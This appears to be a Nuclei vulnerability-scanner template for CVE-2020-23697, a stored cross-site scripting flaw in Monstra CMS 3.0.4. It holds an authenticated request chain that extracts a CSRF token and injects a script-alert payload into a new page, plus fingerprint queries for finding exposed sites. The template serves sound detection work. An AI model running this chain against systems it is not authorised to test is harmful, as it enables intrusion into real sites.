74 lines
3.0 KiB
YAML
74 lines
3.0 KiB
YAML
id: CVE-2020-23697
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info:
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name: Monstra CMS 3.0.4 - Cross-Site Scripting
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author: ritikchaddha
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severity: medium
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description: |
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Monstra CMS 3.0.4 contains a cross-site scripting vulnerability via the page feature in admin/index.php. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
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impact: |
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Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
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remediation: |
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Upgrade to the latest version of Monstra CMS or apply the vendor-provided patch to fix the XSS vulnerability.
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reference:
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- https://github.com/monstra-cms/monstra/issues/463
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- https://nvd.nist.gov/vuln/detail/CVE-2020-23697
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- https://github.com/ARPSyndicate/kenzer-templates
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 5.4
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cve-id: CVE-2020-23697
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cwe-id: CWE-79
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epss-score: 0.0009
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epss-percentile: 0.38392
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cpe: cpe:2.3:a:monstra:monstra_cms:3.0.4:*:*:*:*:*:*:*
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metadata:
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verified: true
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max-request: 4
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vendor: monstra
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product: monstra_cms
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shodan-query: http.favicon.hash:419828698
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fofa-query: icon_hash=419828698
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tags: cve,cve2020,xss,mostra,mostracms,cms,authenticated,monstra
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variables:
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string: "{{to_lower('{{randstr}}')}}"
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http:
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- raw:
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- |
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POST /admin/index.php?id=dashboard HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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login={{username}}&password={{password}}&login_submit=Log+In
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- |
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GET /admin/index.php?id=pages&action=add_page HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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- |
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POST /admin/index.php?id=pages&action=add_page HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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csrf={{csrf}}&page_title=%22%27%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&page_name={{string}}&page_meta_title=&page_keywords=&page_description=&pages=0&templates=index&status=published&access=public&editor=test&page_tags=&add_page_and_exit=Save+and+Exit&page_date=2023-01-09+18%3A22%3A15
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- |
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GET /{{string}} HTTP/1.1
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Host: {{Hostname}}
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matchers:
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- type: dsl
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dsl:
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- 'contains(header_4, "text/html")'
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- 'status_code_4 == 200'
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- 'contains(body_4, "><script>alert(document.domain)</script>") && contains(body_4, "Monstra")'
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condition: and
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extractors:
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- type: regex
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name: csrf
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group: 1
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regex:
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- 'id="csrf" name="csrf" value="(.*)">'
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internal: true
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part: body
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# digest: 4b0a00483046022100cae69f96e8d3f848fcc91d7f13fa209d1a7474e8ef0d0eb2205d8fdcd457c439022100ed3001e46464cdeeeb3500372afe02eb3c6ae9c3554c163cea11ac1b119eafd5:922c64590222798bb761d5b6d8e72950 |